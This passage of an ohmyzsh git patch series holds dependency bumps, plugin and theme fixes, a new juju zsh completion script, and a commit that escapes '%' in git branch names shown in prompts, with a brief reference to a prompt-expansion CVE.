step-security/harden-runner@ab7a9404c0f3da075243ca237b5fac12c98deaa5 # v2.19.3 + uses: step-security/harden-runner@9af89fc71515a100421586dfdb3dc9c984fbf411 # v2.19.4 with: egress-policy: audit diff --git a/.github/workflows/project.yml b/.github/workflows/project.yml index 74d11c257..e3117769f 100644 --- a/.github/workflows/project.yml +++ b/.github/workflows/project.yml @@ -17,7 +17,7 @@ jobs: if: github.repository == 'ohmyzsh/ohmyzsh' steps: - name: Harden the runner (Audit all outbound calls) - uses: step-security/harden-runner@ab7a9404c0f3da075243ca237b5fac12c98deaa5 # v2.19.3 + uses: step-security/harden-runner@9af89fc71515a100421586dfdb3dc9c984fbf411 # v2.19.4 with: egress-policy: audit - name: Authenticate as @ohmyzsh diff --git a/.github/workflows/scorecard.yml b/.github/workflows/scorecard.yml index 01e8a7fbd..4d31979f5 100644 --- a/.github/workflows/scorecard.yml +++ b/.github/workflows/scorecard.yml @@ -36,7 +36,7 @@ jobs: steps: - name: Harden the runner (Audit all outbound calls) - uses: step-security/harden-runner@ab7a9404c0f3da075243ca237b5fac12c98deaa5 # v2.19.3 + uses: step-security/harden-runner@9af89fc71515a100421586dfdb3dc9c984fbf411 # v2.19.4 with: egress-policy: audit From 5ef67beadbe371d7f4ed3a7456240e0fd46608ce Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Tue, 26 May 2026 10:12:39 +0200 Subject: [PATCH 15/25] chore(deps): bump github/codeql-action from 4.35.5 to 4.36.0 (#13767) Signed-off-by: dependabot[bot] --- .github/workflows/scorecard.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/scorecard.yml b/.github/workflows/scorecard.yml index 4d31979f5..05282bfcb 100644 --- a/.github/workflows/scorecard.yml +++ b/.github/workflows/scorecard.yml @@ -60,6 +60,6 @@ jobs: retention-days: 5 - name: "Upload to code-scanning" - uses: github/codeql-action/upload-sarif@9e0d7b8d25671d64c341c19c0152d693099fb5ba # v4.35.5 + uses: github/codeql-action/upload-sarif@7211b7c8077ea37d8641b6271f6a365a22a5fbfa # v4.36.0 with: sarif_file: results.sarif From 857a6465164ba55d5c494290800d8e2f65cd406e Mon Sep 17 00:00:00 2001 From: OKWN Date: Wed, 27 May 2026 11:02:17 +0300 Subject: [PATCH 16/25] docs(tt): rename README.MD to README.md (#13773) --- plugins/tt/{README.MD => README.md} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename plugins/tt/{README.MD => README.md} (100%) diff --git a/plugins/tt/README.MD b/plugins/tt/README.md similarity index 100% rename from plugins/tt/README.MD rename to plugins/tt/README.md From 87a9b16b72f51a0cebe20c4aff201e8f4b0f5fb3 Mon Sep 17 00:00:00 2001 From: Sediman AI Date: Wed, 27 May 2026 16:16:00 +0800 Subject: [PATCH 17/25] fix(alias-finder): use `?` quantifier for BSD compat (#13774) Co-authored-by: Sediman --- plugins/alias-finder/alias-finder.plugin.zsh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/plugins/alias-finder/alias-finder.plugin.zsh b/plugins/alias-finder/alias-finder.plugin.zsh index 6f24c7089..de5fcf673 100644 --- a/plugins/alias-finder/alias-finder.plugin.zsh +++ b/plugins/alias-finder/alias-finder.plugin.zsh @@ -1,5 +1,5 @@ alias-finder() { - local cmd=" " exact="" longer="" cheaper="" wordEnd="'{0,1}$" finder="" filter="" + local cmd=" " exact="" longer="" cheaper="" wordEnd="'?$" finder="" filter="" # build command and options for c in "$@"; do @@ -31,7 +31,7 @@ alias-finder() { # find with alias and grep, removing last word each time until no more words while [[ $cmd != "" ]]; do - finder="'{0,1}$cmd$wordEnd" + finder="'?$cmd$wordEnd" # make filter to find only shorter results than current cmd if [[ $cheaper == true ]]; then From fe11a3ae236a43d0a339121ed2202d07e78d3d08 Mon Sep 17 00:00:00 2001 From: Oliver Jahren Date: Wed, 27 May 2026 10:22:10 +0200 Subject: [PATCH 18/25] fix(dnf): use `--installed` to support dnf 4 and 5 (#13772) --- plugins/dnf/README.md | 2 +- plugins/dnf/dnf.plugin.zsh | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/plugins/dnf/README.md b/plugins/dnf/README.md index f45c8778c..1ae68035c 100644 --- a/plugins/dnf/README.md +++ b/plugins/dnf/README.md @@ -18,7 +18,7 @@ of `dnf5` and uses it as drop-in alternative to the slower `dnf`. | Alias | Command | Description | |-------|-------------------------|--------------------------| | dnfl | `dnf list` | List packages | -| dnfli | `dnf list installed` | List installed packages | +| dnfli | `dnf list --installed` | List installed packages | | dnfgl | `dnf grouplist` | List package groups | | dnfmc | `dnf makecache` | Generate metadata cache | | dnfp | `dnf info` | Show package information | diff --git a/plugins/dnf/dnf.plugin.zsh b/plugins/dnf/dnf.plugin.zsh index 29bb64e64..34d5e975b 100644 --- a/plugins/dnf/dnf.plugin.zsh +++ b/plugins/dnf/dnf.plugin.zsh @@ -5,7 +5,7 @@ local dnfprog="dnf" command -v dnf5 > /dev/null && dnfprog=dnf5 alias dnfl="${dnfprog} list" # List packages -alias dnfli="${dnfprog} list installed" # List installed packages +alias dnfli="${dnfprog} list --installed" # List installed packages alias dnfmc="${dnfprog} makecache" # Generate metadata cache alias dnfp="${dnfprog} info" # Show package information alias dnfs="${dnfprog} search" # Search package From b26b5002633e865b70e17933536fe4dc99127898 Mon Sep 17 00:00:00 2001 From: Iyigun Cevik Date: Wed, 27 May 2026 16:37:23 +0200 Subject: [PATCH 19/25] feat(juju): add native zsh completion and fix plugin utilities (#13663) --- plugins/juju/_juju | 231 +++++++++++++++++++++++++++++++++++ plugins/juju/juju.plugin.zsh | 35 +++--- 2 files changed, 246 insertions(+), 20 deletions(-) create mode 100644 plugins/juju/_juju diff --git a/plugins/juju/_juju b/plugins/juju/_juju new file mode 100644 index 000000000..4e08ba6ad --- /dev/null +++ b/plugins/juju/_juju @@ -0,0 +1,231 @@ +#compdef juju +(( $+functions[compdef] )) && compdef _juju juju + +# zsh completion for juju -*- shell-script -*- + +__juju_debug() +{ + local file="$BASH_COMP_DEBUG_FILE" + if [[ -n ${file} ]]; then + echo "$*" >> "${file}" + fi +} + +__juju_help_options() +{ + local out line token cleaned desc f + local -a opts pending + typeset -U opts + + __juju_debug "[options] called with args: $*" + out=$(command juju help "$@" 2>/dev/null) + local rc=$? + __juju_debug "[options] juju help exit code: $rc, output length: ${#out}" + (( rc )) && return 1 + + while IFS= read -r line; do + if [[ "$line" =~ '^[[:space:]]{0,3}-' ]]; then + for f in "${pending[@]}"; do opts+=("$f"); done + pending=() + for token in ${(z)line}; do + cleaned="${token%%,*}" + cleaned="${cleaned%%;*}" + cleaned="${cleaned%%]*}" + cleaned="${cleaned%%)*}" + cleaned="${cleaned%%=<*}" + cleaned="${cleaned%%=*}" + cleaned="${cleaned%%<*}" + cleaned="${cleaned%%\[*}" + cleaned="${cleaned%%\(*}" + [[ "$cleaned" == --* || "$cleaned" == -[[:alnum:]] ]] || continue + [[ "$cleaned" == "-" || "$cleaned" == "--" ]] && continue + __juju_debug "[options] found flag: $cleaned" + pending+=("$cleaned") + done + elif (( ${#pending} )) && [[ -n "$line" ]]; then + desc="${line#"${line%%[![:space:]]*}"}" + desc="${desc//:/\\:}" + __juju_debug "[options] desc for ${pending[*]}: $desc" + for f in "${pending[@]}"; do opts+=("${f}:${desc}"); done + pending=() + elif [[ -z "$line" ]]; then + for f in "${pending[@]}"; do opts+=("$f"); done + pending=() + fi + done < <(printf "%s\n" "$out") + + for f in "${pending[@]}"; do opts+=("$f"); done + __juju_debug "[options] total opts: ${#opts}, first few: ${opts[1]} ${opts[2]} ${opts[3]}" + + printf "%s\n" "${opts[@]}" +} + + +__juju_help_commands() +{ + local line cmd desc out + out=$(command juju help commands 2>/dev/null) || return 1 + + while IFS= read -r line; do + # Strip leading whitespace + line="${line#"${line%%[![:space:]]*}"}" + # Only process lines starting with an alphanumeric (command names) + [[ "$line" =~ '^[[:alnum:]]' ]] || continue + # Split on the first run of 2+ spaces: left = cmd, right = description + cmd="${line%% *}" + # Validate it's a clean command token (no spaces, only alnum and dash) + [[ "$cmd" =~ '^[[:alnum:]][[:alnum:]-]*$' ]] || continue + desc="${line#"$cmd"}" + desc="${desc#"${desc%%[![:space:]]*}"}" + if [[ -n "$desc" ]]; then + printf "%s:%s\n" "$cmd" "$desc" + else + printf "%s\n" "$cmd" + fi + done <<< "$out" +} + +__juju_models() +{ + # Optional argument: controller name. If given, fetch models for that controller. + if [[ -n "$1" ]]; then + command juju models -c "$1" --format=json 2>/dev/null \ + | command jq -r '.models[]."short-name"' 2>/dev/null + else + command juju models --format=json 2>/dev/null \ + | command jq -r '.models[]."short-name"' 2>/dev/null + fi +} + +# Complete a model token that may be prefixed with "controller:" — if a colon is +# present, fetch models for that controller and offer "ctrl:model" completions. +__juju_complete_model() +{ + local current="$1" + local -a completions + + __juju_debug "[complete_model] current='${current}'" + + if [[ "$current" == *:* ]]; then + local ctrl="${current%%:*}" + local models + models=("${(@f)$(__juju_models "$ctrl")}") + completions=("${models[@]/#/${ctrl}:}") + __juju_debug "[complete_model] ctrl=${ctrl} completions=${#completions}: ${completions[*]}" + compadd -S '' -q -- "${completions[@]}" + else + local -a models ctrls + models=("${(@f)$(__juju_models)}") + ctrls=("${(@f)$(__juju_controllers)}") + __juju_debug "[complete_model] models=${#models}: ${models[*]}" + __juju_debug "[complete_model] ctrls=${#ctrls}: ${ctrls[*]}" + __juju_debug "[complete_model] calling _alternative" + _alternative \ + 'models:models:{__juju_debug "[complete_model] compadd models"; compadd "$expl[@]" -a models}' \ + 'controllers:controllers:{__juju_debug "[complete_model] compadd ctrls"; compadd "$expl[@]" -S : -q -a ctrls}' + __juju_debug "[complete_model] _alternative returned $?" + fi +} + +# Commands whose first positional argument is a model name. +_juju_model_commands=( + destroy-model + grant-model + revoke-model + switch +) + +# Flags that take a model name as their value. +_juju_model_flags=( + -m + --model +) + +__juju_controllers() +{ + command juju controllers --format=json 2>/dev/null \ + | command jq -r '.controllers | keys | .[]' 2>/dev/null +} + +# Commands whose first positional argument is a controller name. +_juju_controller_commands=( + destroy-controller + kill-controller + login + logout + unregister +) + +# Flags that take a controller name as their value. +_juju_controller_flags=( + -c + --controller +) + +_juju() +{ + __juju_debug "[_juju] curcontext: ${curcontext}" + local -a completions + + __juju_debug "[_juju] words: ${words[*]}, CURRENT: $CURRENT" + + # Find the subcommand: first non-flag word typed after "juju", excluding the + # word currently being completed (words[CURRENT]). + local subcmd="" + local i + for (( i = 2; i < CURRENT; i++ )); do + if [[ "${words[i]}" != -* ]]; then + subcmd="${words[i]}" + break + fi + done + + local current="${words[CURRENT]}" + local prev="${words[CURRENT-1]}" + + __juju_debug "[_juju] subcmd: '${subcmd}', current: '${current}', prev: '${prev}'" + + # Controller name completion: flag value (e.g. juju status -c ) + if (( ${_juju_controller_flags[(I)$prev]} )); then + completions=("${(@f)$(__juju_controllers)}") + __juju_debug "[_juju] controller flag completions: ${#completions}" + (( ${#completions} )) && _describe "controller" completions && return 0 + return 1 + fi + + # Model name completion: flag value (e.g. juju status -m or -m ctrl:) + if (( ${_juju_model_flags[(I)$prev]} )); then + __juju_debug "[_juju] model flag completion, current: '${current}'" + __juju_complete_model "$current" && return 0 + return 1 + fi + + if [[ -z "$subcmd" ]]; then + # No subcommand yet — complete subcommand names. + completions=("${(@f)$(__juju_help_commands)}") + __juju_debug "[_juju] command completions count: ${#completions}" + (( ${#completions} )) && _describe "command" completions && return 0 + return 1 + fi + + # Controller name completion: positional arg (e.g. juju destroy-controller ) + if (( ${_juju_controller_commands[(I)$subcmd]} )) && [[ "$current" != -* ]]; then + completions=("${(@f)$(__juju_controllers)}") + __juju_debug "[_juju] controller command completions: ${#completions}" + (( ${#completions} )) && _describe "controller" completions && return 0 + return 1 + fi + + # Model name completion: positional arg (e.g. juju destroy-model or ctrl:) + if (( ${_juju_model_commands[(I)$subcmd]} )) && [[ "$current" != -* ]]; then + __juju_debug "[_juju] model command completion, current: '${current}'" + __juju_complete_model "$current" && return 0 + return 1 + fi + + # Flag completion for all other subcommands (also shown without leading dash) + completions=("${(@f)$(__juju_help_options "$subcmd")}") + __juju_debug "[_juju] option completions count: ${#completions}" + (( ${#completions} )) && _describe "option" completions && return 0 + return 1 +} diff --git a/plugins/juju/juju.plugin.zsh b/plugins/juju/juju.plugin.zsh index 3c159da22..a7bd98d7e 100644 --- a/plugins/juju/juju.plugin.zsh +++ b/plugins/juju/juju.plugin.zsh @@ -1,17 +1,5 @@ # ---------------------------------------------------------- # # Aliases and functions for juju (https://juju.is) # -# ---------------------------------------------------------- # - -# Load TAB completions -# You need juju's bash completion script installed. By default bash-completion's -# location will be used (i.e. pkg-config --variable=completionsdir bash-completion). -completion_file="$(pkg-config --variable=completionsdir bash-completion 2>/dev/null)/juju" || \ - completion_file="/usr/share/bash-completion/completions/juju" -[[ -f "$completion_file" ]] && source "$completion_file" -unset completion_file - -# ---------------------------------------------------------- # -# Aliases (in alphabetic order) # # # # Generally, # # - `!` means --force --no-wait -y # @@ -132,6 +120,7 @@ jclean() { fi echo + local controller for controller in ${=controllers}; do timeout 2m juju destroy-controller --destroy-all-models --destroy-storage --force --no-wait -y $controller timeout 2m juju kill-controller -y -t 0 $controller 2>/dev/null @@ -165,10 +154,11 @@ jreld() { # Return Juju current controller jcontroller() { - local controller="$(awk '/current-controller/ {print $2}' ~/.local/share/juju/controllers.yaml)" - if [[ -z "$controller" ]]; then - return 1 - fi + local file="${JUJU_DATA:-$HOME/.local/share/juju}/controllers.yaml" + [[ -f "$file" ]] || return 1 + + local controller="$(awk '/current-controller/ {print $2}' "$file")" + [[ -z "$controller" ]] && return 1 echo $controller return 0 @@ -176,6 +166,9 @@ jcontroller() { # Return Juju current model jmodel() { + local file="${JUJU_DATA:-$HOME/.local/share/juju}/models.yaml" + [[ -f "$file" ]] || return 1 + local yqbin="$(whereis yq | awk '{print $2}')" if [[ -z "$yqbin" ]]; then @@ -183,9 +176,10 @@ jmodel() { return 1 fi - local model="$(yq e ".controllers.$(jcontroller).current-model" < ~/.local/share/juju/models.yaml | cut -d/ -f2)" + local controller="$(jcontroller)" + local model="$(yq e ".controllers.[\"${controller}\"].current-model" < "${file}" | cut -d/ -f2)" - if [[ -z "$model" ]]; then + if [[ -z "$model" || $model == "null" ]]; then echo "--" return 1 fi @@ -194,9 +188,10 @@ jmodel() { return 0 } -# Watch juju status, with optional interval (default: 5 sec) +# Watch juju status, with optional interval (default: 1 sec) wjst() { - local interval="${1:-5}" + command -v juju >/dev/null 2>&1 || return 1 + local interval="${1:-1}" shift $(( $# > 0 )) watch -n "$interval" --color juju status --relations --color "$@" } From fb03e414ee1122f0b9024017baa4bb98c16c2e71 Mon Sep 17 00:00:00 2001 From: Minh Vu Date: Thu, 28 May 2026 18:54:11 +0200 Subject: [PATCH 20/25] ci(deps): detect add-only vendored changes (#13765) --- .github/workflows/dependencies/updater.py | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/.github/workflows/dependencies/updater.py b/.github/workflows/dependencies/updater.py index b61e5858a..2765d9a52 100644 --- a/.github/workflows/dependencies/updater.py +++ b/.github/workflows/dependencies/updater.py @@ -392,13 +392,15 @@ class Git: Returns `False` if the repo is dirty. """ try: - CommandRunner.run_or_fail( - ["git", "diff", "--exit-code"], stage="CheckRepoClean" + result = CommandRunner.run_or_fail( + ["git", "status", "--porcelain", "--untracked-files=normal"], + stage="CheckRepoClean", ) - return True except CommandRunner.Exception: return False + return result.stdout.strip() == b"" + @staticmethod def add_and_commit(scope: str, version: str) -> bool: """ From ddcdc266924446b421d3a93e076e65c2ef7336b0 Mon Sep 17 00:00:00 2001 From: Sediman AI Date: Fri, 29 May 2026 00:56:03 +0800 Subject: [PATCH 21/25] docs: update stale links (#13776) Co-authored-by: Sediman --- plugins/bedtools/README.md | 2 +- plugins/celery/README.md | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/plugins/bedtools/README.md b/plugins/bedtools/README.md index c4de4e3a9..417c4f072 100644 --- a/plugins/bedtools/README.md +++ b/plugins/bedtools/README.md @@ -1,5 +1,5 @@ # Bedtools plugin -This plugin adds support for the [bedtools suite](http://bedtools.readthedocs.org/en/latest/): +This plugin adds support for the [bedtools suite](https://bedtools.readthedocs.io/en/latest/): * Adds autocomplete options for all bedtools sub commands. diff --git a/plugins/celery/README.md b/plugins/celery/README.md index d2597f702..e71f3f4ee 100644 --- a/plugins/celery/README.md +++ b/plugins/celery/README.md @@ -1,6 +1,6 @@ # Celery -This plugin provides completion for [Celery](http://www.celeryproject.org/). +This plugin provides completion for [Celery](https://docs.celeryq.dev/en/stable/). To use it add celery to the plugins array in your zshrc file. From 5ddb7fedcc2541916ad0a67c93c524ebcf460d49 Mon Sep 17 00:00:00 2001 From: Minh Vu Date: Thu, 28 May 2026 19:04:07 +0200 Subject: [PATCH 22/25] ci(deps): use resolved tag when syncing dependencies (#13764) Co-authored-by: Carlo Sala --- .github/workflows/dependencies/updater.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/.github/workflows/dependencies/updater.py b/.github/workflows/dependencies/updater.py index 2765d9a52..faab5a12c 100644 --- a/.github/workflows/dependencies/updater.py +++ b/.github/workflows/dependencies/updater.py @@ -219,6 +219,7 @@ class Dependency: if status["has_updates"] is True: short_sha = status["head_ref"][:8] new_version = status["version"] if is_tag else short_sha + source_ref = new_version if is_tag else status["head_ref"] try: branch_name = f"update/{self.path}/{new_version}" @@ -227,7 +228,7 @@ class Dependency: branch = Git.checkout_or_create_branch(branch_name) # Update dependency files - self.__apply_upstream_changes() + self.__apply_upstream_changes(source_ref) if not Git.repo_is_clean(): # Update dependencies.yml file @@ -297,7 +298,7 @@ Check out the [list of changes]({status["compare_url"]}). dep_yaml = DependencyStore.update_dependency_version(self.path, new_version) DependencyStore.write_store(DEPS_YAML_FILE, dep_yaml) - def __apply_upstream_changes(self) -> None: + def __apply_upstream_changes(self, ref: str) -> None: # Patterns to ignore in copying files from upstream repo GLOBAL_IGNORE = [".git", ".github", ".gitignore"] @@ -306,12 +307,11 @@ Check out the [list of changes]({status["compare_url"]}). postcopy = self.values.get("postcopy") repo = self.values["repo"] - branch = self.values["branch"] remote_url = f"https://github.com/{repo}.git" repo_dir = os.path.join(TMP_DIR, repo) # Clone repository - Git.clone(remote_url, branch, repo_dir, reclone=True) + Git.clone(remote_url, ref, repo_dir, reclone=True) # Run precopy on tmp repo if precopy is not None: From 8eff9a545594fc7b3f3fad231fecc107e1dde567 Mon Sep 17 00:00:00 2001 From: Michele Bologna Date: Thu, 28 May 2026 19:23:46 +0200 Subject: [PATCH 23/25] fix(michelebologna): syntax, escaping, label (#13756) --- themes/michelebologna.zsh-theme | 13 ++++++------- 1 file changed, 6 insertions(+), 7 deletions(-) diff --git a/themes/michelebologna.zsh-theme b/themes/michelebologna.zsh-theme index b13b2caf1..449c280c5 100644 --- a/themes/michelebologna.zsh-theme +++ b/themes/michelebologna.zsh-theme @@ -31,11 +31,10 @@ local blue="%{$fg_bold[blue]%}" local magenta="%{$fg_bold[magenta]%}" local reset="%{$reset_color%}" -local -a color_array -color_array=($green $red $cyan $yellow $blue $magenta) +local -a color_array=($green $red $cyan $yellow $blue $magenta) local username_color=$blue -local hostname_color=$color_array[$[((#HOST))%6+1]] # choose hostname color based on first character +local hostname_color=$color_array[$(( (#HOST) % 6 + 1 ))] # choose hostname color based on first character local current_dir_color=$blue local username="%n" @@ -45,7 +44,7 @@ local current_dir="%~" local username_output="%(!..${username_color}${username}${reset}@)" local hostname_output="${hostname_color}${hostname}${reset}" local current_dir_output="${current_dir_color}${current_dir}${reset}" -local jobs_bg="${red}fg: %j$reset" +local jobs_bg="${red}jobs: %j$reset" local last_command_output="%(?.%(!.$red.$green).$yellow)" ZSH_THEME_GIT_PROMPT_PREFIX="" @@ -55,10 +54,10 @@ ZSH_THEME_GIT_PROMPT_CLEAN="" ZSH_THEME_GIT_PROMPT_UNTRACKED="$blue%%" ZSH_THEME_GIT_PROMPT_MODIFIED="$red*" ZSH_THEME_GIT_PROMPT_ADDED="$green+" -ZSH_THEME_GIT_PROMPT_STASHED="$blue$" +ZSH_THEME_GIT_PROMPT_STASHED="${blue}\$" ZSH_THEME_GIT_PROMPT_EQUAL_REMOTE="$green=" -ZSH_THEME_GIT_PROMPT_AHEAD_REMOTE=">" -ZSH_THEME_GIT_PROMPT_BEHIND_REMOTE="<" +ZSH_THEME_GIT_PROMPT_AHEAD_REMOTE="${green}>" +ZSH_THEME_GIT_PROMPT_BEHIND_REMOTE="${yellow}<" ZSH_THEME_GIT_PROMPT_DIVERGED_REMOTE="$red<>" function michelebologna_git_prompt { From c90141ed77ff89cc4d9e957aaee713e576ad2c39 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Marc=20Cornell=C3=A0?= Date: Thu, 28 May 2026 18:57:52 +0200 Subject: [PATCH 24/25] fix: escape % characters in git prompts This patch adds missing % character escaping for custom git prompts used in a few themes. It also includes escaping for git-prompt.sh. In combination with CVE-2021-45444, this could allow code execution when displaying branch information in cloned malicious git repositories. However, zsh 5.8.1 and newer are largely the default zsh versions, and on those supported distributions with older zsh versions, the CVE has been found to be also patched. For this reason, this doesn't qualify as a security patch, but a bug fix for proper printing of git branches. --- plugins/gitfast/git-prompt.sh | 5 ++++- themes/eastwood.zsh-theme | 3 ++- themes/gallois.zsh-theme | 1 + themes/josh.zsh-theme | 2 +- themes/juanghurtado.zsh-theme | 2 +- themes/lukerandall.zsh-theme | 2 +- themes/mortalscumbag.zsh-theme | 4 +++- themes/oldgallois.zsh-theme | 1 + themes/peepcode.zsh-theme | 2 +- themes/rkj-repos.zsh-theme | 3 ++- themes/sunrise.zsh-theme | 2 +- 11 files changed, 18 insertions(+), 9 deletions(-) diff --git a/plugins/gitfast/git-prompt.sh b/plugins/gitfast/git-prompt.sh index 76ee4ab1e..ae5085182 100644 --- a/plugins/gitfast/git-prompt.sh +++ b/plugins/gitfast/git-prompt.sh @@ -235,7 +235,7 @@ __git_ps1_show_upstream () if [ $pcmode = yes ] && [ $ps1_expanded = yes ]; then upstream="$upstream \${__git_ps1_upstream_name}" else - upstream="$upstream ${__git_ps1_upstream_name}" + upstream="$upstream ${__git_ps1_upstream_name//\%/%%}" # not needed anymore; keep user's # environment clean unset __git_ps1_upstream_name @@ -570,6 +570,9 @@ __git_ps1 () if [ $pcmode = yes ] && [ $ps1_expanded = yes ]; then __git_ps1_branch_name=$b b="\${__git_ps1_branch_name}" + else + # escape % in branch name to avoid prompt expansion issues + b="${b//\%/%%}" fi if [ -n "${GIT_PS1_SHOWCOLORHINTS-}" ]; then diff --git a/themes/eastwood.zsh-theme b/themes/eastwood.zsh-theme index 31e24fa7f..0dd2d42d3 100644 --- a/themes/eastwood.zsh-theme +++ b/themes/eastwood.zsh-theme @@ -16,7 +16,8 @@ ZSH_THEME_GIT_PROMPT_CLEAN="" git_custom_status() { local cb=$(git_current_branch) if [ -n "$cb" ]; then - echo "$(parse_git_dirty)$ZSH_THEME_GIT_PROMPT_PREFIX$(git_current_branch)$ZSH_THEME_GIT_PROMPT_SUFFIX" + cb="${cb//\%/%%}" + echo "$(parse_git_dirty)$ZSH_THEME_GIT_PROMPT_PREFIX${cb}$ZSH_THEME_GIT_PROMPT_SUFFIX" fi } diff --git a/themes/gallois.zsh-theme b/themes/gallois.zsh-theme index 3fc349072..eb04e66ed 100644 --- a/themes/gallois.zsh-theme +++ b/themes/gallois.zsh-theme @@ -10,6 +10,7 @@ ZSH_THEME_GIT_PROMPT_CLEAN="" git_custom_status() { local branch=$(git_current_branch) [[ -n "$branch" ]] || return 0 + branch="${branch//\%/%%}" print "%{${fg_bold[yellow]}%}$(work_in_progress)%{$reset_color%}\ ${ZSH_THEME_GIT_PROMPT_PREFIX}$(parse_git_dirty)${branch}\ ${ZSH_THEME_GIT_PROMPT_SUFFIX}" diff --git a/themes/josh.zsh-theme b/themes/josh.zsh-theme index df59280d7..e8ae18dda 100644 --- a/themes/josh.zsh-theme +++ b/themes/josh.zsh-theme @@ -31,7 +31,7 @@ function josh_prompt { prompt=" $prompt" done - prompt="%{%F{green}%}$PWD$prompt%{%F{red}%}$(ruby_prompt_info)%{$reset_color%} $(git_current_branch)" + prompt="%{%F{green}%}$PWD$prompt%{%F{red}%}$(ruby_prompt_info)%{$reset_color%} ${branch//\%/%%}" echo $prompt } diff --git a/themes/juanghurtado.zsh-theme b/themes/juanghurtado.zsh-theme index 95a400e61..625f46a3a 100644 --- a/themes/juanghurtado.zsh-theme +++ b/themes/juanghurtado.zsh-theme @@ -41,4 +41,4 @@ USER_COLOR=$GREEN_BOLD PROMPT=' %{$USER_COLOR%}%n@%m%{$WHITE%}:%{$YELLOW%}%~%u$(parse_git_dirty)$(git_prompt_ahead)%{$RESET_COLOR%} %{$BLUE%}>%{$RESET_COLOR%} ' -RPROMPT='%{$GREEN_BOLD%}$(git_current_branch)$(git_prompt_short_sha)$(git_prompt_status)%{$RESET_COLOR%}' +RPROMPT='%{$GREEN_BOLD%}${$(git_current_branch)//\%/%%}$(git_prompt_short_sha)$(git_prompt_status)%{$RESET_COLOR%}' diff --git a/themes/lukerandall.zsh-theme b/themes/lukerandall.zsh-theme index cdecd284f..d5a452ebb 100644 --- a/themes/lukerandall.zsh-theme +++ b/themes/lukerandall.zsh-theme @@ -7,7 +7,7 @@ function my_git_prompt_info() { ref=$(git symbolic-ref HEAD 2> /dev/null) || return GIT_STATUS=$(git_prompt_status) [[ -n $GIT_STATUS ]] && GIT_STATUS=" $GIT_STATUS" - echo "$ZSH_THEME_GIT_PROMPT_PREFIX${ref#refs/heads/}$GIT_STATUS$ZSH_THEME_GIT_PROMPT_SUFFIX" + echo "$ZSH_THEME_GIT_PROMPT_PREFIX${${ref#refs/heads/}//\%/%%}$GIT_STATUS$ZSH_THEME_GIT_PROMPT_SUFFIX" } PROMPT='%{$fg_bold[green]%}%n@%m%{$reset_color%} %{$fg_bold[blue]%}%2~%{$reset_color%} $(my_git_prompt_info)%{$reset_color%}%B»%b ' diff --git a/themes/mortalscumbag.zsh-theme b/themes/mortalscumbag.zsh-theme index c9994c0f9..80c2d70db 100644 --- a/themes/mortalscumbag.zsh-theme +++ b/themes/mortalscumbag.zsh-theme @@ -42,7 +42,9 @@ function my_git_prompt() { } function my_current_branch() { - echo $(git_current_branch || echo "(no branch)") + local branch + branch=$(git_current_branch || echo "(no branch)") + echo "${branch//\%/%%}" } function ssh_connection() { diff --git a/themes/oldgallois.zsh-theme b/themes/oldgallois.zsh-theme index bb97bfb17..7c77135c0 100644 --- a/themes/oldgallois.zsh-theme +++ b/themes/oldgallois.zsh-theme @@ -10,6 +10,7 @@ ZSH_THEME_GIT_PROMPT_CLEAN="" git_custom_status() { local branch=$(git_current_branch) [[ -n "$branch" ]] || return 0 + branch="${branch//\%/%%}" echo "$(parse_git_dirty)\ %{${fg_bold[yellow]}%}$(work_in_progress)%{$reset_color%}\ ${ZSH_THEME_GIT_PROMPT_PREFIX}${branch}${ZSH_THEME_GIT_PROMPT_SUFFIX}" diff --git a/themes/peepcode.zsh-theme b/themes/peepcode.zsh-theme index 044534614..4010ef1ff 100644 --- a/themes/peepcode.zsh-theme +++ b/themes/peepcode.zsh-theme @@ -31,7 +31,7 @@ git_prompt() { local cb=$(git_current_branch) if [[ -n "$cb" ]]; then local repo_path=$(git_repo_path) - echo " %{$fg_bold[grey]%}$cb %{$fg[white]%}$(git_commit_id)%{$reset_color%}$(git_mode)$(git_dirty)" + echo " %{$fg_bold[grey]%}${cb//\%/%%} %{$fg[white]%}$(git_commit_id)%{$reset_color%}$(git_mode)$(git_dirty)" fi } diff --git a/themes/rkj-repos.zsh-theme b/themes/rkj-repos.zsh-theme index a9fe1a9af..6ce45c969 100644 --- a/themes/rkj-repos.zsh-theme +++ b/themes/rkj-repos.zsh-theme @@ -23,7 +23,8 @@ function mygit() { if [[ "$(git config --get oh-my-zsh.hide-status)" != "1" ]]; then ref=$(command git symbolic-ref HEAD 2> /dev/null) || \ ref=$(command git rev-parse --short HEAD 2> /dev/null) || return - echo "$ZSH_THEME_GIT_PROMPT_PREFIX${ref#refs/heads/}$(git_prompt_short_sha)$(git_prompt_status)%{$fg_bold[blue]%}$ZSH_THEME_GIT_PROMPT_SUFFIX " + ref=${${ref#refs/heads/}//\%/%%} + echo "${ZSH_THEME_GIT_PROMPT_PREFIX}${ref}$(git_prompt_short_sha)$(git_prompt_status)%{$fg_bold[blue]%}${ZSH_THEME_GIT_PROMPT_SUFFIX} " fi } diff --git a/themes/sunrise.zsh-theme b/themes/sunrise.zsh-theme index 11f6af127..86ae722fd 100644 --- a/themes/sunrise.zsh-theme +++ b/themes/sunrise.zsh-theme @@ -62,7 +62,7 @@ custom_git_prompt_status() { # get the name of the branch we are on (copied and modified from git.zsh) function custom_git_prompt() { ref=$(git symbolic-ref HEAD 2> /dev/null) || return - echo "$ZSH_THEME_GIT_PROMPT_PREFIX${ref#refs/heads/}$(parse_git_dirty)$(git_prompt_ahead)$(custom_git_prompt_status)$ZSH_THEME_GIT_PROMPT_SUFFIX" + echo "$ZSH_THEME_GIT_PROMPT_PREFIX${${ref#refs/heads/}//\%/%%}$(parse_git_dirty)$(git_prompt_ahead)$(custom_git_prompt_status)$ZSH_THEME_GIT_PROMPT_SUFFIX" } # %B sets bold text From d170d18746bb06db7b2fc97b67e281597a3fc152 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Marc=20Cornell=C3=A0?= Date: Thu, 28 May 2026 20:23:45 +0200 Subject: [PATCH 25/25] fix(dotenv): introduce safe 